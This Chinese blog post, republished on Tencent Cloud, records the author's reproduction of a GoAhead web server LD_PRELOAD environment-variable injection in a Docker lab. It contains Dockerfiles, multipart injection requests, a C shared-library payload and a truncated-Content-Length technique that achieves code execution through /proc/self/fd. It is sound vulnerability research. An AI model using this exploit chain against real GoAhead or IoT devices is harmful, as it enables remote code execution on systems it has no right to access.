前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >GoAhead环境变量注入复现踩坑记

GoAhead环境变量注入复现踩坑记

作者头像
phith0n
发布2023-11-03 19:49:32
4540
发布2023-11-03 19:49:32
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

漏洞原理

GoAhead曾经出现过一次环境变量注入漏洞,建议先看下Vulhub中相关的漏洞环境与描述:GoAhead Web Server HTTPd 'LD_PRELOAD' Remote Code Execution (CVE-2017-17562)

这个老漏洞的原理也很简单,就是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。

今天这个漏洞实际上是对老漏洞的一次绕过,漏洞原理不是本文重点,我用两段简单的文字进行描述:

  • 补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效(这就是不写单元测试的后果,但换句话说,又有多少漏洞POC是从单元测试里泄露的?)
  • 补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量

环境搭建

说个趣事,GoAhead官方Embedthis曾在今年或者去年的时候把自己旗下的几个开源项目,包括GoAhead、AppWeb等直接从Github删掉了,在官网上只留了最新版源码下载,如果需要下载旧版得成为付费用户,大有转开源为闭源的趋势。但是没想到昨天重新打开Github一看,诶,项目又回来了,只不过所有的star都遗失了,有点可惜。

说回来,GoAhead的优点是非常轻量,编译几乎不需要额外的第三库,我们下载gcc、make等工具编译即可,我直接将Vulhub中旧版本的Dockerfile拿来改下版本号:

代码语言:javascript
复制
FROM debian:buster

LABEL maintainer="phithon <root@leavesongs.com>"

RUN set -ex \
    && apt-get update \
    && apt-get install wget make gcc -y \
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
    && cd /usr/src \
    && make \
    && make install \
    && cp src/self.key src/self.crt /etc/goahead/ \
    && mkdir -p /var/www/goahead/cgi-bin/ \
    && apt-get purge -y --auto-remove wget make gcc \
    && cd /var/www/goahead \
    && rm -rf /usr/src/ /var/lib/apt/lists/* \
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

另外还有一点要注意的是,今年五月份GoAhead默认将CGI相关的配置注释了

这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。

我将CGI相关的配置去掉注释并配置好,编译很顺利就通过了。此时我们就可以把这个Docker镜像跑起来:

代码语言:javascript
复制
docker run -d -it --name web -p 8080:80 -v `pwd`:/var/www/goahead/cgi-bin vulhub/goahead:5.1.4

然后我们再在当前目录下增加一个cgi文件,比如test,并增加执行权限:

代码语言:javascript
复制
#!/bin/bash

echo -e "Content-Type: text/plain\n"
env

访问输出当前的env,说明成功部署并解析完成了:

但是我后文会讲,这样搭建的环境实际上是有坑的。

漏洞复现

首先我们来尝试看是否可以注入环境变量。从原理上来看,实际上就是发送一个multipart数据包,就可以通过表单来注入环境变量,所以我们尝试发送如下数据包:

代码语言:javascript
复制
POST /cgi-bin/test HTTP/1.1
Host: 192.168.1.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"

test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

可见,环境变量LD_PRELOAD注入成功了,漏洞确实存在:

到这一步一切比较顺利。

漏洞利用

文件上传目录配置

注入环境变量的目的当然是利用漏洞,做到任意代码执行。但是我们看老的漏洞CVE-2017-17562,当时是将LD_PRELOAD设置成标准输入,即LD_PRELOAD=/proc/self/fd/0。因为在CGI中POST Body就是标准输入,所以正好可以将劫持的so文件放在Body中发送,完成利用。

但这次我们需要在Body中发送multipart表单,自然不能再用这种方法。

我们的目的是在服务器上上传一个可控内容的文件,然后将环境变量LD_PRELOAD设置为这个文件的路径,这样来劫持动态链接库。很容易想到另一个方法就是通过上传文件的形式来创建文件。

和PHP一样,GoAhead在遇到上传表单的时候,会先将这个上传的文件保存在一个临时目录下,待脚本程序处理完成后删掉这个临时文件。

我们尝试发送一个文件上传数据包:

但发现直接爆500了,查看日志,错误信息是:

代码语言:javascript
复制
goahead: 2: POST /cgi-bin/test HTTP/1.1
goahead: 2: Cannot open upload temp file tmp/tmp-1.tmp

失败原因是无法写入临时文件tmp/tmp-1.tmp。我们查看GoAhead源码可以发现其中对上传目录有这样一个配置:

代码语言:javascript
复制
#ifndef ME_GOAHEAD_UPLOAD_DIR
    #define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
    uploadDir = ME_GOAHEAD_UPLOAD_DIR;
    if (*uploadDir == '\0') {
#if ME_WIN_LIKE
        uploadDir = getenv("TEMP");
#else
        uploadDir = "/tmp";
#endif
    }
    trace(4, "Upload directory is %s", uploadDir);
    websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

如果宏ME_GOAHEAD_UPLOAD_DIR没有定义,则将其定义为tmp。然后将其赋值给uploadDir,ME_GOAHEAD_UPLOAD_DIR一定不是空字符串,所以上传目录就是tmp

很明显这是个相对路径,相对于的是当前目录,当前目录是在启动GoAhead的时候用--home参数指定的,是存放配置文件的目录,在我这里就是/etc/goahead

也就是说,临时文件是存放在/etc/goahead/tmp这个目录下的,如果这个目录不存在或者不可写,那么就会出现上传时500。

这就是第二个坑:因为很多IOT设备并没有文件上传的需求,也就没有好好配置这个目录,导致实际上攻击者无法通过文件上传的方式向目标写入任意文件,也就无法完成攻击。

作为开发者,我们当然可以解决这个问题,有两种方法:

  • 创建/etc/goahead/tmp目录并设置写权限
  • 在编译GoAhead的时候指定ME_GOAHEAD_UPLOAD_DIR参数,修改临时目录路径

我使用的第二种方法,修改Dockerfile如下:

代码语言:javascript
复制
FROM debian:buster

LABEL maintainer="phithon <root@leavesongs.com>"

RUN set -ex \
    && apt-get update \
    && apt-get install wget make gcc -y \
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
    && cd /usr/src \
    && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
    && make install \
    && cp src/self.key src/self.crt /etc/goahead/ \
    && mkdir -p /var/www/goahead/cgi-bin/ \
    && apt-get purge -y --auto-remove wget make gcc \
    && cd /var/www/goahead \
    && rm -rf /usr/src/ /var/lib/apt/lists/* \
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

EXPOSE 80
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

设置参数的方法是在make命令后面增加参数(这几层引号与引号的转义也是大坑,本文不细讲):

代码语言:javascript
复制
make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"

这时候再上传文件就不会出错了:

Too Big

那么,我们按照文章中的方法复现这个漏洞试试。

首先,本地写一个劫持LD_PRELOAD的动态链接库:

代码语言:javascript
复制
#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World\r\n\r\n", 16);
    write(1, "Hacked\n", 7);
}

编译:

代码语言:javascript
复制
gcc -shared -fPIC ./payload.c -o payload.so

然后我们发送POST数据包:

代码语言:javascript
复制
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

先不说能不能执行命令了,整个HTTP连接直接被切断了:

我们查看日志信息,可见报了一个Too big错误:

代码语言:javascript
复制
web_1  | goahead: 2: POST /cgi-bin/test HTTP/1.1
web_1  | goahead: 2: Too big

这个错误信息比较粗糙,我们可以在代码里搜索一下Too big这个关键词,看看是哪里出错了:

代码语言:javascript
复制
if (strcmp(key, "content-length") == 0) {
  if ((wp->rxLen = atoi(value)) < 0) {
    websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Invalid content length");
    return;
  }
  if (smatch(wp->method, "PUT")) {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_PUT) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  } else {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_POST) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  }
  if (!smatch(wp->method, "HEAD")) {
    wp->rxRemaining = wp->rxLen;
  }
}

原来是数据包过大,超过了ME_GOAHEAD_LIMIT_POST的大小导致报错了。

我们看看ME_GOAHEAD_LIMIT_POST默认值是多少:

代码语言:javascript
复制
#ifndef ME_GOAHEAD_LIMIT_POST
    #define ME_GOAHEAD_LIMIT_POST 16384
#endif

默认最大支持16384个字节,其实挺小的。作为开发者,我们同样可以通过在make的时候修改这个值,但是作为攻击者,只能修改我们自己的攻击载荷,让其不要”超标“。

这就是第三个坑:攻击时使用的动态链接库不能过大,否则可能导致服务端出错,直接断开链接。

我们可以在gcc的时候增加-s参数来缩小payload体积:

代码语言:javascript
复制
gcc -s -shared -fPIC ./payload.c -o payload.so

优化过的payload只有14416字节,可以达标了。

找不到文件描述符

重新使用新的payload.so发送数据包:

代码语言:javascript
复制
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

但我尝试了从4开始到100所有的文件描述符,都无法完成劫持,查看日志无非是如下几种错误:

  • ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
  • ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
  • ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.

按照原文章中的方法,这个漏洞完全利用不了。

那么我们来研究研究原因。我们修改test cgi脚本,让其输出一下/proc/self/fd/下的文件和/tmp/下的文件:

代码语言:javascript
复制
#!/bin/bash

echo -e "Content-Type: text/html\n";

ls -al /proc/self/fd/
ls -al /tmp/

发送一个上传包:

可见,tmp目录下成功写入了临时文件tmp-22.tmp,但在/proc/self/fd/目录下没有相关的文件描述符。

我没有调试代码,无法肯定导致这个问题的原因。但有一种可能,就是在执行到CGI这里的时候,被打开的临时文件描述符其实已经被关闭了。这就是我遇到的第四个坑。

找到可包含的文件

那么我们如果想要利用这个漏洞,就必须找到可以被包含的文件,从上面的测试过程可以发现,临时文件其实已经被写入了,只不过其中文件名包含一个从0开始递增的数字,我们需要进行爆破。

而且爆破的请求本身也会导致这个数字继续上涨,这个过程十分不稳定,所以自然也不建议利用这个文件。

我们还是看回到文件描述符,什么情况下我们可以让这个文件描述符不要关闭?

我想到一种方法,就是在文件没有上传完成的时候,这个文件描述符不会被关闭。那么如何做点这一点呢?有两种方法:

  • 使用两个线程,线程一流式缓慢上传文件,线程二使用LD_PRELOAD包含这个文件
  • 给payload.so文件内容后增加一些脏字符,并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕

第二种方法不需要用到线程或竞争,一个数据包可以搞定,甚至不需要写代码,所以我通过第二种方法来利用。

首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7。然后我们需要改造这个数据包:

  • 给payload.so文件末尾增加几千个字节的脏字符,比如说a
  • 关掉burpsuite自动的“Update Content-Length”
  • 将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000

发送这个数据包,就可以成功劫持到LD_PRELOAD

这里的原理其实就是,pyaload.so加上后面的脏字符构造的数据包实际大小比Content-Length大,导致上传实际上只上传了一半,保存在临时文件中的是完整的payload.so和一些脏字符。

由于上传流程没有结束,所以此时文件描述符是没有关闭的,可以通过/proc/self/fd/7读取到,脏字符也不影响动态链接库的加载和运行,最后即可成功完成劫持。

后记

这个漏洞踩坑了一晚上,最后仍然没能复现原始文章中直接包含文件描述符的方法,但通过上传一个“不完整”的数据包间接达到了这个目的,完成了攻击流程。

至于PBCTF 2021 - RCE 0-Day in Goahead Webserver文章中介绍的注入其他环境变量来getshell的方法,虽不通用也很有趣,大家可以自行学习。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞原理
  • 环境搭建
  • 漏洞复现
  • 漏洞利用
    • 文件上传目录配置
      • Too Big
        • 找不到文件描述符
        • 找到可包含的文件
        • 后记
        相关产品与服务
        容器服务
        腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档